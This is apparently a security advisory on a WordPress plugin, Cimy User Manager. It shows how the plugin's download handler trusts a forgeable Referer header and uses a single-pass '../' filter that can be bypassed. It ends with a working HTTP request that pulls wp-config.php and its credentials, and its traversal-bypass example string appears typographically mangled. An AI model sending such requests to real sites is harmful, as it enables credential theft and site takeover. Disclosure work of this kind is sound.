Advisory
Analysis of vulnerability
The Cimy User Manager is made to be able to export data from WordPress. The file cimy_user_manager.php has an init action which decides whether or not to download some content from the site:
71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 |
add_action('init', 'cimy_um_download_database'); function cimy_um_download_database() { if (!empty($_POST["cimy_um_filename"])) { if (strpos($_SERVER['HTTP_REFERER'], admin_url('users.php?page=cimy_user_manager')) !== false) { $cimy_um_filename = $_POST["cimy_um_filename"]; // protect from site traversing $cimy_um_filename = str_replace('../', '', $cimy_um_filename); if (!is_file($cimy_um_filename)) return; header("Pragma: "); // Leave blank for issues with IE header("Expires: 0"); header('Vary: User-Agent'); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: text/csv"); header("Content-Type: application/force-download"); header("Content-Type: application/download"); header("Content-Disposition: attachment; filename=\"".esc_html(basename($cimy_um_filename))."\";"); // cannot use esc_url any more because prepends 'http' (doh) header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($cimy_um_filename)); readfile($cimy_um_filename); exit(); } } } |
First it checks if the cimy_um_filename POST variable is set. Then it goes to check if the referer is from the admin page, which is a flawed way of authentication. But if it thinks you come from the admin page, it will attempt to protect against path traversal. It is pretty obvious that we can fake the referer header. But we can quite easily bypass the path traversal. Lets have a look at an example.
Take this string: …/…//
Now lets see where we match ../: .../...//
Which leaves us with: ../
This tells us that the path traversal “protection” on line 78 can be bypassed trivially.
Additionally, in the case where you’d want to obtain a wp-config.php file, which contains credentials and other very critical information about the blog, we do not need to bypass this, because when init is called, the working directory is the wordpress base folder, which contains the wp-config.php file. Here’s an example request showing how to pull the wp-config.php file:
1 2 3 4 5 6 7 |
POST /wordpress/ HTTP/1.0 Host: 192.168.80.130 Referer: http://192.168.80.130/wordpress/wp-admin/users.php?page=cimy_user_manager Content-Type: application/x-www-form-urlencoded Content-Length: 30 cimy_um_filename=wp-config.php |